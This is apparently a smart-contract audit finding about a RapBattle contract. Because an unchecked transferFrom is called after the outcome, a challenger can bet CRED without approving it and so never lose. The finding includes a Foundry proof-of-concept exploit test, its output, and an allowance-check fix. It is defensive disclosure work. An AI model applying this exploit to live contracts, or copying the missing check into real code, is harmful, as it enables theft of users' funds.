Summary
An unverified transferFrom results in the challenger winning CRED without loss, and not losing CRED even when losing
Vulnerability Details
In the _battle() function of the RapBattle contract, if the challenger has not called approve to authorize the RapBattle, then when the defender wins, the call to credToken.transferFrom(msg.sender, _defender, _credBet); will fail.
if (random <= defenderRapperSkill) {
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
credToken.transfer(msg.sender, _credBet);
}
POC
function testAttack() external {
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.warp(3 days + 1);
vm.startPrank(challenger);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.warp(4 days + 1);
vm.prank(user);
streets.unstake(0);
vm.prank(challenger);
streets.unstake(1);
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 1);
assertEq(cred.balanceOf(user), 4);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
assertEq(cred.balanceOf(user), 3);
assertEq(cred.balanceOf(challenger), 1);
vm.startPrank(challenger);
vm.warp(5 days + 1);
vm.expectRevert();
rapBattle.goOnStageOrBattle(1, 1);
vm.stopPrank();
console.log("user balance: ", cred.balanceOf(user));
console.log("challenger balance: ", cred.balanceOf(challenger));
}
result:
[PASS] testAttack() (gas: 573814)
Logs:
user balance: 3
challenger balance: 1
if change code, the challenger is win, challenger can get CRED:
vm.startPrank(challenger);
rapBattle.goOnStageOrBattle(1, 1);
vm.stopPrank();
result:
[PASS] testAttack2() (gas: 590414)
Logs:
user balance: 3
challenger balance: 2
Tools Used
Foundry
Recommendations
Check if the challenger has approved and approved a sufficient amount of CRED to RapBattle
function _battle(uint256 _tokenId, uint256 _credBet) internal {
+ require(
+ credToken.allowance(msg.sender, address(this)) >= _credBet,
+ "Insufficient allowance. Please approve tokens before proceeding."
+ );
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
........
........
........
}